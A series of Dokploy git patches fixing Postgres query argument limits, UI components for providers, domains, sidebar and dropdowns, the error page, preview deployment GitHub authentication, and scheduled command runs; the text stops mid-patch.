Dokploy/fix/postgres-100-arg-limit-finders
fix: avoid postgres 100-argument limit in schedule, volume backup and port queries
(cherry picked from commit deebf0f1078c2954fe3c29793799c7a0211fc25a)
---
apps/schedules/src/utils.ts | 6 ++++++
packages/server/src/services/port.ts | 8 ++------
packages/server/src/services/schedule.ts | 5 +++++
packages/server/src/services/volume-backups.ts | 5 +++++
4 files changed, 18 insertions(+), 6 deletions(-)
diff --git a/apps/schedules/src/utils.ts b/apps/schedules/src/utils.ts
index 7caa106af..85de85f9a 100644
--- a/apps/schedules/src/utils.ts
+++ b/apps/schedules/src/utils.ts
@@ -180,6 +180,9 @@ export const initializeJobs = async () => {
where: eq(schedules.enabled, true),
with: {
application: {
+ columns: {
+ applicationId: true,
+ },
with: {
server: true,
},
@@ -227,6 +230,9 @@ export const initializeJobs = async () => {
where: eq(volumeBackups.enabled, true),
with: {
application: {
+ columns: {
+ applicationId: true,
+ },
with: {
server: true,
},
diff --git a/packages/server/src/services/port.ts b/packages/server/src/services/port.ts
index 3ba1b7376..bcc5831a3 100644
--- a/packages/server/src/services/port.ts
+++ b/packages/server/src/services/port.ts
@@ -30,12 +30,8 @@ export const finPortById = async (portId: string) => {
where: eq(ports.portId, portId),
with: {
application: {
- with: {
- environment: {
- with: {
- project: true,
- },
- },
+ columns: {
+ applicationId: true,
},
},
},
diff --git a/packages/server/src/services/schedule.ts b/packages/server/src/services/schedule.ts
index c94973e02..59b75cc0d 100644
--- a/packages/server/src/services/schedule.ts
+++ b/packages/server/src/services/schedule.ts
@@ -81,6 +81,11 @@ export const findScheduleById = async (scheduleId: string) => {
where: eq(schedules.scheduleId, scheduleId),
with: {
application: {
+ columns: {
+ applicationId: true,
+ appName: true,
+ serverId: true,
+ },
with: {
environment: {
with: {
diff --git a/packages/server/src/services/volume-backups.ts b/packages/server/src/services/volume-backups.ts
index abd29df1f..359ccf5f0 100644
--- a/packages/server/src/services/volume-backups.ts
+++ b/packages/server/src/services/volume-backups.ts
@@ -13,6 +13,11 @@ export const findVolumeBackupById = async (volumeBackupId: string) => {
where: eq(volumeBackups.volumeBackupId, volumeBackupId),
with: {
application: {
+ columns: {
+ applicationId: true,
+ appName: true,
+ serverId: true,
+ },
with: {
environment: {
with: {
From 7f41b098f9f6e0781f5b9087700d49202e309d80 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Tue, 28 Jul 2026 16:35:53 -0600
Subject: [PATCH 061/419] Merge pull request #4911 from
AbiRaditya/fix/cloudflare-badge-tooltip-error-title
fix(domains): don't render CDN info message as an error in DNS tooltip
(cherry picked from commit 5df820a74074cf587aee8e321f692345825e7ea3)
---
.../components/dashboard/application/domains/columns.tsx | 4 +++-
.../dashboard/application/domains/show-domains.tsx | 5 ++++-
2 files changed, 7 insertions(+), 2 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/domains/columns.tsx b/apps/dokploy/components/dashboard/application/domains/columns.tsx
index b88443dcc..816fbbb8d 100644
--- a/apps/dokploy/components/dashboard/application/domains/columns.tsx
+++ b/apps/dokploy/components/dashboard/application/domains/columns.tsx
@@ -209,7 +209,9 @@ export const createColumns = ({
- {validationState?.error ? (
+ {validationState?.isValid && validationState?.message ? (
+ {validationState.message}
+ ) : validationState?.error ? (
Error:
{validationState.error}
diff --git a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
index daed0e251..23d9e46bb 100644
--- a/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
+++ b/apps/dokploy/components/dashboard/application/domains/show-domains.tsx
@@ -626,7 +626,10 @@ export const ShowDomains = ({ id, type }: Props) => {
- {validationState?.error ? (
+ {validationState?.isValid &&
+ validationState?.message ? (
+ {validationState.message}
+ ) : validationState?.error ? (
Error:
From d4e087e12854a1722b718c574f4e253e75a37415 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Thu, 30 Jul 2026 11:23:32 -0600
Subject: [PATCH 062/419] Merge pull request #4937 from
Dokploy/fix/persist-trigger-type-provider-forms
fix(ui): persist trigger type selection in GitHub provider forms
(cherry picked from commit bb73c6e6dd37f735b41de4452550c3e67bee93c0)
---
.../application/general/generic/save-github-provider.tsx | 8 ++++++--
.../general/generic/save-github-provider-compose.tsx | 8 ++++++--
2 files changed, 12 insertions(+), 4 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
index 29df617b1..3904bfc6e 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
@@ -438,8 +438,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
{
+ if (!value) {
+ return;
+ }
+ field.onChange(value);
+ }}
value={field.value}
>
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
index 56cf4ce3d..1f5c1ce59 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
@@ -432,8 +432,12 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
{
+ if (!value) {
+ return;
+ }
+ field.onChange(value);
+ }}
value={field.value}
>
From c7a96ed82cba3bc1f93938297422a093a3b41c41 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Fri, 31 Jul 2026 15:15:12 -0600
Subject: [PATCH 063/419] Merge pull request #4782 from
imrja8/fix/watchpath-badge-removal
fix(ui): resolve unclickable watch path removal button
(cherry picked from commit 018e56a7b41f74b99e87351f462e7d5744c01156)
---
.../general/generic/save-bitbucket-provider.tsx | 14 +++++++++-----
.../general/generic/save-git-provider.tsx | 14 +++++++++-----
.../general/generic/save-gitea-provider.tsx | 14 +++++++++-----
.../general/generic/save-github-provider.tsx | 14 +++++++++-----
.../general/generic/save-gitlab-provider.tsx | 14 +++++++++-----
.../generic/save-bitbucket-provider-compose.tsx | 14 +++++++++-----
.../general/generic/save-git-provider-compose.tsx | 14 +++++++++-----
.../generic/save-gitea-provider-compose.tsx | 14 +++++++++-----
.../generic/save-github-provider-compose.tsx | 14 +++++++++-----
.../generic/save-gitlab-provider-compose.tsx | 14 +++++++++-----
10 files changed, 90 insertions(+), 50 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx
index bc3bd5efc..07ee5b0e4 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx
@@ -447,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
- />
+ >
+
+
))}
@@ -502,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx
index 3fd059289..99b997d50 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx
@@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
- />
+ >
+
+
))}
@@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx
index a43b257b8..8da817c80 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx
@@ -477,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
- />
+ >
+
+
))}
@@ -531,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
index 3904bfc6e..c84265595 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
@@ -491,14 +491,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
- />
+ >
+
+
))}
@@ -547,14 +551,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx
index cda3677a0..1711aa63c 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx
@@ -467,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
- />
+ >
+
+
))}
@@ -521,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx
index 7d9325e6e..5d95aafce 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx
@@ -451,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
- />
+ >
+
+
))}
@@ -506,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx
index 1c0c67ef2..a454ff610 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-git-provider-compose.tsx
@@ -251,14 +251,18 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
- />
+ >
+
+
))}
@@ -306,14 +310,14 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx
index 5a3016a28..24ed16117 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx
@@ -442,14 +442,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
- />
+ >
+
+
))}
@@ -497,14 +501,14 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
index 1f5c1ce59..10a5f64d5 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
@@ -483,14 +483,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
- />
+ >
+
+
))}
@@ -542,14 +546,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx
index 13a1cafc8..c101d091b 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx
@@ -468,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
{path}
- {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
- />
+ >
+
+
))}
@@ -523,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
-
+
- Enable Submodules
+ Enable Submodules
)}
/>
From 2f89981597ca5fbfe1f77f3178eebd198342bb4a Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 2 Aug 2026 13:59:56 -0600
Subject: [PATCH 064/419] Merge pull request #4948 from
azizbecha/fix/collapsed-sidebar-avatar
fix(ui): prevent collapsed avatar clipping
(cherry picked from commit 3b0bdd8f742b9bb742e7329778e1dfafdabfd84a)
---
apps/dokploy/components/ui/sidebar.tsx | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/apps/dokploy/components/ui/sidebar.tsx b/apps/dokploy/components/ui/sidebar.tsx
index 6c9ca131a..0972949e3 100644
--- a/apps/dokploy/components/ui/sidebar.tsx
+++ b/apps/dokploy/components/ui/sidebar.tsx
@@ -464,7 +464,7 @@ function SidebarMenuItem({ className, ...props }: React.ComponentProps<"li">) {
}
const sidebarMenuButtonVariants = cva(
- "peer/menu-button group/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm ring-sidebar-ring outline-hidden transition-[width,height,padding] group-has-data-[sidebar=menu-action]/menu-item:pr-8 group-data-[collapsible=icon]:size-8! group-data-[collapsible=icon]:p-2! hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-open:hover:bg-sidebar-accent data-open:hover:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:font-medium data-active:text-sidebar-accent-foreground [&_svg]:size-4 [&_svg]:shrink-0 [&>span:last-child]:truncate",
+ "peer/menu-button group/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm ring-sidebar-ring outline-hidden transition-[width,height,padding] group-has-data-[sidebar=menu-action]/menu-item:pr-8 group-data-[collapsible=icon]:size-8! hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-open:hover:bg-sidebar-accent data-open:hover:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:font-medium data-active:text-sidebar-accent-foreground [&_svg]:size-4 [&_svg]:shrink-0 [&>span:last-child]:truncate",
{
variants: {
variant: {
@@ -473,8 +473,8 @@ const sidebarMenuButtonVariants = cva(
"bg-background shadow-[0_0_0_1px_var(--sidebar-border)] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_var(--sidebar-accent)]",
},
size: {
- default: "h-8 text-sm",
- sm: "h-7 text-xs",
+ default: "h-8 text-sm group-data-[collapsible=icon]:p-2!",
+ sm: "h-7 text-xs group-data-[collapsible=icon]:p-2!",
lg: "h-12 text-sm group-data-[collapsible=icon]:p-0!",
},
},
From e88d13f67b650e6b02af546dcead9abe9b7376cc Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 2 Aug 2026 14:06:01 -0600
Subject: [PATCH 065/419] Merge pull request #4947 from
azizbecha/fix/4945-deployment-delete-loading
fix(ui): scope deployment delete loading
(cherry picked from commit 2be9e1e3df606bcbe09c41b1d8aae056298c365a)
---
.../deployments/show-deployments.tsx | 24 +++++++++++++++++--
1 file changed, 22 insertions(+), 2 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx b/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx
index 48c8ec981..1a531e24c 100644
--- a/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx
+++ b/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx
@@ -63,6 +63,9 @@ export const ShowDeployments = ({
const [activeLog, setActiveLog] = useState<
RouterOutputs["deployment"]["all"][number] | null
>(null);
+ const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
+ Set
+ >(new Set());
const { data: deployments, isPending: isLoadingDeployments } =
api.deployment.allByType.useQuery(
{
@@ -81,7 +84,7 @@ export const ShowDeployments = ({
api.rollback.rollback.useMutation();
const { mutateAsync: killProcess, isPending: isKillingProcess } =
api.deployment.killProcess.useMutation();
- const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
+ const { mutateAsync: removeDeployment } =
api.deployment.removeDeployment.useMutation();
// Cancel deployment mutations
@@ -408,6 +411,11 @@ export const ShowDeployments = ({
description="Are you sure you want to delete this deployment? This action cannot be undone."
type="default"
onClick={async () => {
+ setRemovingDeploymentIds((deploymentIds) => {
+ const nextDeploymentIds = new Set(deploymentIds);
+ nextDeploymentIds.add(deployment.deploymentId);
+ return nextDeploymentIds;
+ });
try {
await removeDeployment({
deploymentId: deployment.deploymentId,
@@ -415,13 +423,25 @@ export const ShowDeployments = ({
toast.success("Deployment deleted successfully");
} catch (error) {
toast.error("Error deleting deployment");
+ } finally {
+ setRemovingDeploymentIds((deploymentIds) => {
+ const nextDeploymentIds = new Set(
+ deploymentIds,
+ );
+ nextDeploymentIds.delete(
+ deployment.deploymentId,
+ );
+ return nextDeploymentIds;
+ });
}
}}
>
Delete
From 49ee74c89dcc06537d64db7daed1d78e34db04c8 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 2 Aug 2026 15:05:09 -0600
Subject: [PATCH 066/419] Merge pull request #4953 from
Dokploy/fix/dropdown-dialog-window-blur
fix(ui): keep dropdown menus open on window blur
(cherry picked from commit 51cb7d2287b6f95f9f72bd9e0a006d63745633e5)
---
apps/dokploy/components/ui/dropdown-menu.tsx | 24 ++++++++++++++++----
1 file changed, 20 insertions(+), 4 deletions(-)
diff --git a/apps/dokploy/components/ui/dropdown-menu.tsx b/apps/dokploy/components/ui/dropdown-menu.tsx
index bf06bb708..dcb1520f2 100644
--- a/apps/dokploy/components/ui/dropdown-menu.tsx
+++ b/apps/dokploy/components/ui/dropdown-menu.tsx
@@ -1,21 +1,37 @@
import { CheckIcon, ChevronRightIcon } from "lucide-react";
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
-import type * as React from "react";
+import * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
function DropdownMenu({
+ open,
+ defaultOpen,
onOpenChange,
...props
}: React.ComponentProps) {
+ const [uncontrolledOpen, setUncontrolledOpen] = React.useState(
+ defaultOpen ?? false,
+ );
+ const isControlled = open !== undefined;
+ const isOpen = isControlled ? open : uncontrolledOpen;
+
return (
{
- if (!open) {
+ open={isOpen}
+ onOpenChange={(nextOpen) => {
+ // Radix closes menus on window blur, unmounting any dialog rendered inside
+ if (!nextOpen && !document.hasFocus()) {
+ return;
+ }
+ if (!isControlled) {
+ setUncontrolledOpen(nextOpen);
+ }
+ if (!nextOpen) {
markNestedPopupClosed();
}
- onOpenChange?.(open);
+ onOpenChange?.(nextOpen);
}}
{...props}
/>
From cbe78950ccdfa31f6f74241ea8a35cb1c49fa505 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 2 Aug 2026 15:29:36 -0600
Subject: [PATCH 067/419] Merge pull request #4954 from
Dokploy/fix/error-page-status-code
fix(ui): show real status code on error page
(cherry picked from commit 3835a6fe6856ab5b34f94de591be402d9752b516)
---
apps/dokploy/pages/_error.tsx | 20 ++++++--------------
1 file changed, 6 insertions(+), 14 deletions(-)
diff --git a/apps/dokploy/pages/_error.tsx b/apps/dokploy/pages/_error.tsx
index 8fd510796..4b1eeff4b 100644
--- a/apps/dokploy/pages/_error.tsx
+++ b/apps/dokploy/pages/_error.tsx
@@ -5,12 +5,11 @@ import { buttonVariants } from "@/components/ui/button";
import { useWhitelabelingPublic } from "@/utils/hooks/use-whitelabeling";
interface Props {
- statusCode: number;
- error?: Error;
+ statusCode?: number;
}
-export default function Custom404({ statusCode, error }: Props) {
- const displayStatusCode = statusCode || 400;
+export default function ErrorPage({ statusCode }: Props) {
+ const displayStatusCode = statusCode || 500;
const { config: whitelabeling } = useWhitelabelingPublic();
const appName = whitelabeling?.appName || "Dokploy";
const logoUrl = whitelabeling?.logoUrl || undefined;
@@ -45,12 +44,6 @@ export default function Custom404({ statusCode, error }: Props) {
{errorDescription}
)}
- {error && (
-
- )}
-
{
- const statusCode = res ? res.statusCode : err ? err.statusCode : 404;
- return { statusCode, error: err };
+ErrorPage.getInitialProps = ({ res, err }: NextPageContext) => {
+ const statusCode = res ? res.statusCode : err ? (err.statusCode ?? 500) : 404;
+ return { statusCode };
};
From 0f0102ff2d0962ae2bae497cb020da09cd79fe06 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 2 Aug 2026 15:36:54 -0600
Subject: [PATCH 068/419] Merge pull request #4933 from
CyrilBIENNE/fix/preview-deployment-github-credentials
fix(preview-deployment): refetch github provider before authenticating
(cherry picked from commit a058d1f5c7d0398e5fe1f9fe7bf5c3f358d559db)
---
packages/server/src/services/preview-deployment.ts | 14 ++++++++++++--
1 file changed, 12 insertions(+), 2 deletions(-)
diff --git a/packages/server/src/services/preview-deployment.ts b/packages/server/src/services/preview-deployment.ts
index 20f64259b..cc3d3dc02 100644
--- a/packages/server/src/services/preview-deployment.ts
+++ b/packages/server/src/services/preview-deployment.ts
@@ -17,7 +17,7 @@ import { manageDomain } from "../utils/traefik/domain";
import { findApplicationById } from "./application";
import { removeDeploymentsByPreviewDeploymentId } from "./deployment";
import { createDomain } from "./domain";
-import { type Github, getIssueComment } from "./github";
+import { findGithubById, getIssueComment } from "./github";
import { getWebServerSettings } from "./web-server-settings";
export type PreviewDeployment = typeof previewDeployments.$inferSelect;
@@ -142,7 +142,17 @@ export const createPreviewDeployment = async (
org?.ownerId || "",
);
- const octokit = authGithub(application?.github as Github);
+ if (!application.githubId) {
+ throw new TRPCError({
+ code: "NOT_FOUND",
+ message: "Github Account not configured correctly",
+ });
+ }
+
+ // `findApplicationById` redacts `githubPrivateKey` from the `github`
+ // relation, so the provider must be refetched to authenticate.
+ const githubProvider = await findGithubById(application.githubId);
+ const octokit = authGithub(githubProvider);
const runningComment = getIssueComment(
application.name,
From 83008205b9e26c39d5d43b75121bfdd37473bd21 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 2 Aug 2026 16:22:35 -0600
Subject: [PATCH 069/419] Merge pull request #4955 from
Dokploy/fix/schedule-run-manually-deployment-metadata
fix(schedule): return deployment metadata from runManually and fail early on missing container
(cherry picked from commit 11e93dde38ba732780a98df5f8431f0b20dcc676)
---
.../application/schedules/show-schedules.tsx | 8 +-
apps/dokploy/server/api/routers/schedule.ts | 8 +-
packages/server/src/utils/schedules/utils.ts | 142 ++++++++++--------
3 files changed, 90 insertions(+), 68 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx b/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx
index b1e8a74f8..3c76fb969 100644
--- a/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx
+++ b/apps/dokploy/components/dashboard/application/schedules/show-schedules.tsx
@@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
const handleRunManually = async (scheduleId: string) => {
setRunningSchedules((prev) => new Set(prev).add(scheduleId));
try {
- await runManually({ scheduleId });
- toast.success("Schedule run successfully");
+ const result = await runManually({ scheduleId });
+ if (result.status === "error") {
+ toast.error("Schedule run failed, check the deployment logs");
+ } else {
+ toast.success("Schedule run successfully");
+ }
await refetchSchedules();
} catch {
toast.error("Error running schedule");
diff --git a/apps/dokploy/server/api/routers/schedule.ts b/apps/dokploy/server/api/routers/schedule.ts
index 9f0c16b1e..c77071790 100644
--- a/apps/dokploy/server/api/routers/schedule.ts
+++ b/apps/dokploy/server/api/routers/schedule.ts
@@ -315,13 +315,17 @@ export const scheduleRouter = createTRPCRouter({
await checkPermission(ctx, { schedule: ["create"] });
}
try {
- await runCommand(input.scheduleId);
+ const deployment = await runCommand(input.scheduleId);
await audit(ctx, {
action: "run",
resourceType: "schedule",
resourceId: input.scheduleId,
});
- return true;
+ return {
+ status: deployment.status,
+ deploymentId: deployment.deploymentId,
+ logPath: deployment.logPath,
+ };
} catch (error) {
throw new TRPCError({
code: "INTERNAL_SERVER_ERROR",
diff --git a/packages/server/src/utils/schedules/utils.ts b/packages/server/src/utils/schedules/utils.ts
index 8107839d8..40bc0816c 100644
--- a/packages/server/src/utils/schedules/utils.ts
+++ b/packages/server/src/utils/schedules/utils.ts
@@ -55,25 +55,46 @@ export const runCommand = async (scheduleId: string) => {
description: "Schedule",
});
- if (scheduleType === "application" || scheduleType === "compose") {
- let containerId = "";
- let serverId = "";
- if (scheduleType === "application" && application) {
- const container = await getServiceContainer(
- application.appName,
- application.serverId,
- );
- containerId = container?.Id || "";
- serverId = application.serverId || "";
- }
- if (scheduleType === "compose" && compose) {
- const container = await getComposeContainer(compose, serviceName || "");
- containerId = container?.Id || "";
- serverId = compose.serverId || "";
- }
+ try {
+ if (scheduleType === "application" || scheduleType === "compose") {
+ let containerId = "";
+ let serverId = "";
+ if (scheduleType === "application" && application) {
+ const container = await getServiceContainer(
+ application.appName,
+ application.serverId,
+ );
+ containerId = container?.Id || "";
+ serverId = application.serverId || "";
+ }
+ if (scheduleType === "compose" && compose) {
+ const container = await getComposeContainer(compose, serviceName || "");
+ containerId = container?.Id || "";
+ serverId = compose.serverId || "";
+ }
- if (serverId) {
- try {
+ if (!containerId) {
+ const target =
+ scheduleType === "compose"
+ ? `service '${serviceName}' of compose '${compose?.name}'`
+ : `application '${application?.appName}'`;
+ const message = `Container not found for ${target}, make sure the service is running`;
+ if (serverId) {
+ await execAsyncRemote(
+ serverId,
+ `echo ${quote([`❌ ${message}`])} >> ${quote([deployment.logPath])}`,
+ );
+ } else {
+ const writeStream = createWriteStream(deployment.logPath, {
+ flags: "a",
+ });
+ writeStream.write(`❌ ${message}\n`);
+ writeStream.end();
+ }
+ throw new Error(message);
+ }
+
+ if (serverId) {
await execAsyncRemote(
serverId,
`
@@ -86,47 +107,44 @@ export const runCommand = async (scheduleId: string) => {
echo "✅ Command executed successfully" >> ${quote([deployment.logPath])};
`,
);
- } catch (error) {
- await updateDeploymentStatus(deployment.deploymentId, "error");
- throw error;
- }
- } else {
- const writeStream = createWriteStream(deployment.logPath, { flags: "a" });
+ } else {
+ const writeStream = createWriteStream(deployment.logPath, {
+ flags: "a",
+ });
- try {
- if (IS_CLOUD) {
+ try {
+ if (IS_CLOUD) {
+ writeStream.write(
+ "This feature is not available in the cloud version.",
+ );
+ writeStream.end();
+ return { ...deployment, status: "running" as const };
+ }
writeStream.write(
- "This feature is not available in the cloud version.",
+ `docker exec ${containerId} ${shellType} -c ${command}\n`,
+ );
